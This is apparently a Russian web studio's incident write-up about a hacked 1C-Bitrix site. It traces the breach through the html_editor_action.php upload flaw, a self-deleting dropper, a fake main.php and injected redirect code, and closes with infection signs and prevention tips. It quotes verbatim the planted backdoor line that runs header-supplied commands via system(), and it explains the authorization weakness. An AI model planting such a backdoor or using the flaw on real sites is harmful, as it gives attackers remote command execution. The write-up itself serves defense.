В первых числах июля 2022 года техподдержка хостинга сообщила нам о наличии вредоносного кода на сайте нашего клиента. Письмо было следующего содержания:

Наличие вредоносной функции на веб-ресурсе

Добрый день!

По каналам Национального координационного центра по компьютерным инцидентам
получены сведения о наличии вредоносной функции на веб-ресурсе,
находящемся в зоне вашей ответственности.

На веб-сайте выполняется JS-код, который перенаправляет пользователей на
подконтрольный злоумышленнику фишинговый сайт (XSS-атака).
Веб сайт: *****

В основе сайта лежит популярная CMS Битрикс. Следует отметить, что на сайте заказчика истек срок лицензии и, следовательно, он не был обновлен до последней версии.

Мы сразу же принялись за изучение зараженных файлов. Ими оказались core.js и prolog.php.

Злоумышленники внедрили в них подключение внешнего скрипта, который в конечном счете приводил к редиректу, т.е. к перенаправлению на другие сайты (это в лучше случае, а могли вообще все удалить).

Удалив вредоносный код, мы начали думать, что делать дальше. Хоть мы и восстановили зараженные файлы, сама уязвимость, которая была использована, до сих пор существовала, а, значит, атака могла повториться.

На данном этапе мы изучили форумы Битрикс и обнаружили, что похожие случаи произошли и с другими пользователями. Конкретики по уязвимости мы не нашли, но появилось несколько зацепок.

Предположительной уязвимостью был обозначен устаревший модуль vote, однако дело было вовсе не в нем.

Следующий наш шаг — это анализ сетевых запросов за прошедшие дни с целью обнаружить подозрительную сетевую активность. Усилия не пропали даром — был обнаружен подозрительный запрос по адресу /bitrix/tools/sale_print.php. Мы точно знаем, что такого файла в файловой системе Битрикса быть не должно. Однако по указанному пути данного файла не оказалось, т.к. предположительно (а позже мы это подтвердили) файл после обращения самоудалился.

Как ко мне на сайт попал вирус, если я никому не давал доступы?

Таким вопросом задается любой владелец сайта, когда его ставят перед фактом, что на его ресурсе вирус. Сразу же начинают искать вебмастеров, с которыми ранее работали. Менять пароли и доступы. Но, к сожалению, этого всего может быть недостаточно…

… Итак, мы проанализировали сетевые запросы чуть ранее запроса на sale_print и обнаружили два запроса на /bitrix/tools/html_editor_action.php.

html_editor_action.php является частью визуального редактора Битрикс, в котором происходит работа с загружаемым контентом, например, изображениями.

Было решено изучить кодовую базу данного функционала, чтобы точно определить являлся ли он причиной уязвимости. В процессе мы узнали, что при загрузке контента через визуальный редактор, Битрикс загружает содержимое во временную папку, которую мы незамедлительно проверили. Как оказалось, не зря, т.к. во временной папке лежали файл и несколько логов (log) к нему, датированные 21 июня. При тщательном анализе выяснилось, что файл представляет собой сериализованный объект Bitrix\Main\ORM\Data\Result с системной командой на создание файла sale_print.php с закодированным содержимым. При этом судя по логам Битрикс думал, что это картинка.

Теперь сомнений в уязвимости html_editor_action.php не возникало. Оставалось только понять, как файл был заброшен на сервер.

Здесь сделаем небольшое отступление. Так как у нас в руках оказался файл, порождающий sale_print.php, то мы смогли узнать его содержимое. А именно оказалось, что он не заражает файлы core.js и prolog.php. Файл sale_print.php создает фиктивный файл main.php, который находится по пути /bitrix/components/bitrix/main.file.input и маскируется по дате под стандартный функционал Битрикс. Не обманывайтесь, он тут точно лишний, если нашли его у себя, то смело удаляйте.

Также sale_print вносит следующие изменения в файл /bitrix/modules/fileman/classes/general/html_editor.php:

"spell_word" => $_SERVER['HTTP_S'] == "bermuda" ? die(system($_SERVER['HTTP_P'])) : "",

И

if(substr($_POST['bxu_info']['CID'], 0, 7 ) === "default") die();

Эти строчки лишние, можете их удалить.

В дальнейшем злоумышленники делают запросы на фиктивный main.php и с помощью него заражают файлы core.js и prolog.php.

Какие уязвимости CMS могут использовать злоумышленники?

Но давайте вернемся к уязвимости в html_editor_action.php. Ведь пока сохраняется возможность закидывать зараженные файлы — мы не в безопасности.

Тщательный анализ кодовой базы html_editor_action.php привел нас к нескольким интересным выводам.

Насколько вероятно, что старые версии Битрикса могут быть не защищены от вирусов?

У Битриксов, которые давно не обновлялись (примерно до 2021) на входе стоит простая проверка на CSRF токен, а далее никаких специфических проверок не происходит, что позволяет злоумышленникам легко подделать запрос, как от реального пользователя (это мы воспроизвели на тестовом сайте).

У Битриксов последней версии в том же месте стоит дополнительная проверка на авторизацию пользователя и, казалось бы, владельцам активной лицензии стоит выдохнуть, однако есть один нюанс.

Проверка требует ЛЮБОЙ авторизации пользователя, значит нам необязательно нужен админ, а, как мы помним, большинство сайтов на Битрикс это магазины. При заказе через магазин создается учетная запись покупателя, и заказчик получает возможность авторизоваться в Битриксе (например, чтобы попасть в личный кабинет). Даже такой авторизации достаточно, чтобы обойти новые проверки Битрикс, а значит потенциально мы все еще в опасности.

На основе анализа уязвимых файлов мы доработали проверки Битрикса, чтобы убрать саму возможность загружать вредоносные файлы, не сломав при этом функционал механизмов.

Теперь мы с уверенностью можем сказать, что от этой дыры мы точно избавились и избавили наших клиентов.

Но, как всегда, злоумышленники идут чуть впереди и изобретают все новые и новые способы атаки на безобидные сайты предпринимателей и компаний.

Как понять, что на моем сайте вирус?

  1. Вы обнаруживаете перенаправления на чужие сайты;
  2. Хостинг пишет вам о том, что на вашем сайте обнаружен вредоносный код;
  3. Яндекс Вебмастер выдает вам соответствующее сообщение;
  4. Ваши страницы полностью исчезли из индекса;
  5. Контекстная реклама Яндекс Директ остановила все ваши объявления без конкретных причин;
  6. Ваш сайт начал медленно работать и некоторое время был недоступен;
  7. На сайте появляются страницы, которые не относятся к тематике вашего сайта (как правило, запрещенная тематика).

Все это может свидетельствовать от том, что на сайте может быть вирус и нужно немедленно обратиться к врачу специалистам, которые поддерживают ваш сайт.

Что сделать, чтобы на сайте не появлялись вирусы?

  1. Регулярно обновлять версии CMS своего сайта. Ведь чем популярнее CMS, тем больше пользователей, а, следовательно, и тех, кто ищет в них различные лазейки;
  2. Менять с определенной периодичностью (3-6 мес.) пароли от хостинга и админки сайта;
  3. Удалять или менять доступы для сотрудников, которые уже не работают в вашей компании;
  4. Не давать доступы от сайта «ненадежным» пользователям;
  5. Использовать безопасные браузеры, которые блокируют отправку ваших персональных данных;
  6. Использовать надежный пароль, который трудно подобрать;
  7. Не устанавливать подозрительные программы и не переходить по подозрительным ссылкам.

Если вы испробовали все методы, а проблема не решается, то напишите нам, мы попробуем в ней разобраться.